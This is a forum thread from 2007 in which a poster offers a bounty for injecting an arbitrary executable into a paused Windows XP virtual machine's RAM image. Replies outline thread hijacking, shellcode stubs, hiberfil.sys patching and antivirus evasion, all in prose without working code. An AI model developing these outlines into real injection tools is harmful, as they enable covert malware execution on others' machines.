Flag: Tornado!
Hurricane!
|
|
Topic created on: March 12, 2007 20:42 CDT by RalphDavis  .
Hi,
The first person to solve the WRDA puzzle, and provide working source code, will receive up to $US2000, depending on the highest bid by a qualified coder. We've posted it on a contract site for bids (see below).
Heres the problem: given a raw RAM image of a Windows XP machine, is it possible to alter that raw image, so that an arbitrary .exe is executed on that virtual machine when the machine is resumed?
An example would be running Windows XP under VMware (www.vmware.com) or Microsoft Virtual PC 2007. If the virtual machine was paused at any point, would it possible to alter the raw RAM image, so that when the machine was resumed, an arbitrary .exe was executed?
The reason we need this is that we need to alter some existing VMware virtual machines to insert code into the RAM dump, without having to temporarily restart all of the machines in our template.
Ralph
p.s. If you wish to bid on the project, see:
http://www.rentacoder.com/RentACoder/misc/BidRequests/ShowBidRequest.asp?lngBidRequestId=642675
p.p.s. For a diagram, see:
http://ws.elance.com/uploads/C7/2E/9187015/exe_injection.gif
|
If auto-play is enabled, how about modifying the VM config to mount a CD-ROM pointing at an ISO with the executable?
|
> If auto-play is enabled, how about modifying the VM
> config to mount a CD-ROM pointing at an ISO
> with the executable?
The real situation is actually a lot more complex than I stated in the outline. The only way we can solve the problem is if we actually modify a raw RAM dump to insert a process, which in turn runs a .exe of our choice.
|
|
Can we assume the target exe is on the image already?
|
Although non-trivial, I'll bring this up just to hear what people have to say about it. The first idea that comes to mind is this:
Walk memory looking for the thread contexts (K/ETHREAD and K/EPROCESS structs, the non-trivial part, http://www.komoku.com/volatools/ may help). Locate an active thread for explorer.exe. Wherever EIP is pointing, start writing "shellcode" directly starting from there. Shellcode can write a process to disk then do a CreateProcess() and exit. Explorer will die, but it should restart on its own.
|
What can be assumed? If you can craft and fire an asm exe that does 'nothing' on such machines (a 'pcrecover.exe' that just waits forever in a delayed spin loop) you could simply locate it by pattern search on image, and replace it with whatever code you wish. You could even rewrite such .exe with the entry after the spin loop and 'copy' the image directly, as relocs are unused and IAT is resolved if you don't overwrite it;) -or just use standard inject techs- and then load a dll, an exe, whatever.
You just need to stay under 4k and the magic is done. Easy, fast, simple. need only 2 asm exe, 1 pattern search&replace.
(ps: if you are lazy, you can just patch with NOPs the jmp of the original exe, so that it can exit the spin loop and load the exe for you. Even better and easier solution, i believe).
|
|
Does the target machine in question have the Virtual Page File turned off? Or is this 'unknown'?
|
Ok, my idea (please share the prize)
Assuming the scenario is described correctly, if we can get the hiberfil.sys, change it and then store it again in the harddrive, then, I think it's safe to assume that we can insert a file in the filesystem. If not, I guess there are other options to achieve the same I'm going to describe.
Let's assume for a sec that we want to execute calc.exe when the box comes back from hibernate (this is not exactly the same, as the process will not be running when we come back, but it'll be rather be immediately ran).
My idea is to locate some usermode code in memory, and change it, inserting a WinExec() or something else, but sticking to userland.
Most/some threads of most/some processes will be blocked at some specific point when the box is hibernated (of course, I have to confirm this), and this code will be in memory (vs. swap) because it was jsut executed, so we grep the hiberfil.sys for the right fragment of code and change it. When the box is awakened, the thread will resume and execute our WinExec(). Of course we then have to restore the hooked process, but that's easy.
If we can't upload a file to the hard drive, we can do a small egg that GETs a URL and executes it. This is pretty trivial.
Of course this will not be a valid solution for non-sanctum ends, like infecting a box from a PCI/PCMCIA card or from a Firewire device (all give raw RAM access). Nor will it be good for infecting from Hypervisor, but it will be perfect and a quite reliable solutions for the described scenario.
Unless they restate the challenge (and confess what they really want to do), I guess this has to be a valid soltuion :-)
|
> gera: Ok, my idea (please share the prize)
> Let\'s assume for a sec that we want to execute calc.exe when the box comes back from hibernate (this is not exactly the same, as the process will not be running when we come back, but it\'ll be rather be immediately ran).
let me clarify this:
. Anti viruses may detect the newly created process and stop it.
. If downloading from the web (vs. executing from HD), connectivity issues my become a problem (proxy, proxy auth, DHCP lease renewing latter after hibernate, antivirus again)
. The hooked process has to be restored.
Just to clraify why it's not the same to come back with an active process vs. starting the process right after coming back
|
This problem is conceptually trivial IMO.
1. Walk the EPROCESS list
2. Select a target process(which is for the most part irrelevant)
3. Pick one of its threads
4. Locate a region of that processes memory that is unused currently
5. Patch in a simple shellcode/stub that CreateProcess()'s your target.
6. At the end of the stub, patch in a jump to the current EIP of the thread you selected.
7. Change the EIP of the thread you selected to point to your stub.
Obviously your stub will have to preserve the state of the registers/stack as it executes, but that isn't difficult. The host process shouldn't crash and the new process should be created/executed just fine.
If as gera suggested the real goal is to try to infect a live machine while it's running and bypass A/V software...then the only realistic option is to manually add the process and map it into system memory. This is possible, but I don't think you're going to find anyone to code it for only $2,000.
|
How are you going to translate virutal addresses to raw file offsets? How are you going to find any specific thread having only a raw memory dump?
Even dumping some .exe loaded into memory isn't trivial IMO.
|
> morel: How are you going to translate virutal addresses to raw file offsets? How are you going to find any specific thread having only a raw memory dump?
> Even dumping some .exe loaded into memory isn\'t trivial IMO.
It isn't as difficult as it sounds. I've written code that does all of those things. The difficult part of this challenge IMO is going to be updating all of the system structures to make the process run without crashing.
|
Note: Registration is required to post to the forums.
|
|
|
|
There are 31,328 total registered users.
|
|
![[+] expand](/imagery/files/soysauce_blueprint.gif){kind=link}